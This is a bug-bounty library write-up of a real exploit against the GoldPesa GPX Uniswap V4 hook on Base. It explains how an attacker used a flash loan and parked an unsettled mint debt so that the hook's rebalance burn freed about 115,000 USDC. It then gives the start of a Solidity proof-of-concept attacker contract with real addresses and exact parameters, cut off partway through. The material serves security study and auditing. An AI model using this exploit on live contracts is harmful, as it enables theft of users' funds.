# GoldPesa GPX hook: shared-unlock delta nets attacker mint debt

GPX V4 hook's hourly rebalance burn ran inside attacker's open PoolManager unlock, so its burn credit netted against the attacker's unsettled mint debt, freeing 114,999 USDC.

- Payout: Real-world hack
- Severity: critical
- Program: GoldPesa
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-02
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/GoldPesa_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261002-goldpesa
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan

**Target:** Uniswap V4 hook (GPXHooks) on GPX/USDC pool, Base
**Root cause:** GPXHooks calls modifyLiquiditiesWithoutUnlock(BURN_POSITION+TAKE_PAIR) inside whatever PoolManager unlock is already open and never verifies PositionManager deltas are settled, so its burn credit is not isolated from other open PositionManager deltas in the same unlock.
**Steps:**
1. Flash loan 175,000 USDC from Morpho Blue.
2. Open PoolManager.unlock; inside callback MINT_POSITION into WETH/USDC at ticks [-210000,-209990], liquidity 8346512432733306153, with no SETTLE, leaving a -114,999.999186 USDC PositionManager delta.
3. Two GPX-pool buys of 5,500 USDC each; second buy's beforeSwap triggers the hourly rebalance in the same unlock.
4. Hook BURN_POSITION credits PositionManager +148,868.602188 USDC; TAKE_PAIR withdraws only net positive 33,868.603002 USDC to hook, silently cancelling attacker's 114,999.999186 debt.
5. Attacker BURN_POSITIONs own WETH/USDC position (+114,999.999186 credit) and TAKE_PAIRs to self, draining 114,999.999186 USDC from PoolManager.
6. Third GPX swap unwinds bought GPX; repay Morpho flash loan.
**How found:** Recognized that modifyLiquiditiesWithoutUnlock does not open its own unlock and TAKE_PAIR only pays the net positive delta across the shared unlock; the hook never checks PositionManager deltas are zero before burning, so an attacker can park an offsetting debt in the same unlock.
**Exploitation:** Single atomic tx: Morpho flash loan funds working capital; attacker opens one PoolManager unlock, parks an unsettled mint debt in WETH/USDC, then triggers the hook's permissionless hourly rebalance via a GPX swap so the hook's burn credit nets against the debt; attacker then burns their own position and takes the freed USDC out of PoolManager.
**Insight:** When auditing V4 hooks that call modifyLiquiditiesWithoutUnlock, check whether they assume their burn/mint deltas are isolated; any permissionless unlock lets an attacker park an offsetting PositionManager delta so TAKE_PAIR pays out the wrong party.

## Proof of concept (copied exactly from the original report)

**Attacker contract with flash loan and unlock callback**

```
contract GoldPesaExploiter {
    IPoolManager constant PM = IPoolManager(0x498581fF718922c3f8e6A244956aF099B2652b2b);
    IPositionManager constant POSM = IPositionManager(0x7C5f5A4bBd8fD63184577525326123B519429bDc);
    IMorpho constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);

    address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address constant WETH = 0x4200000000000000000000000000000000000006;
    address constant GPX = 0x454F8c3f1FC79a98363DB6104A20AC59A02A3133;
    address constant HOOK = 0x4519e2b040ff1B64fa03aBe2AeF0BC99D7CcEaA8;

    // Uniswap V4 Action ids (from v4-periphery Actions.sol)
    uint8 constant MINT_POSITION = 0x02;
    uint8 constant BURN_POSITION = 0x03;
    uint8 constant TAKE_PAIR = 0x11;

    uint160 constant MIN_SQRT_PRICE = 4295128739;
    uint160 constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342;

    // exact on-chain values
    uint256 constant LOAN = 175_000e6; // Morpho flash loan
    uint256 constant PUMP = 5_500e6; // each GPX-pool buy
    int24 constant OWN_TICK_LOWER = -210000;
    int24 constant OWN_TICK_UPPER = -209990;
    uint256 constant OWN_LIQUIDITY = 8346512432733306153;

    PoolKey gpxKey = PoolKey({currency0: GPX, currency1: USDC, fee: 0, tickSpacing: 1, hooks: HOOK});
    PoolKey wethKey = PoolKey({currency0: WETH, currency1: USDC, fee: 500, tickSpacing: 10, hooks: address(0)});

    uint256 public ownTokenId;
    uint256 public stolenUSDC; // USDC pulled out via the attacker's own-position burn (step 5)

    function attack() external {
        MORPHO.flashLoan(USDC, LOAN, "");
    }

    /// @dev Morpho Blue flash-loan callback. Runs the whole exploit inside one PoolManager unlock, then
    ///      approves Morpho to pull the principal back (zero fee on Morpho Blue).
    function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
        require(msg.sender == address(MORPHO), "only morpho");
        PM.unlock("");
        IERC20(USDC).approve(address(MORPHO), assets);
    }

    function unlockCallback(bytes calldata) external retu
```

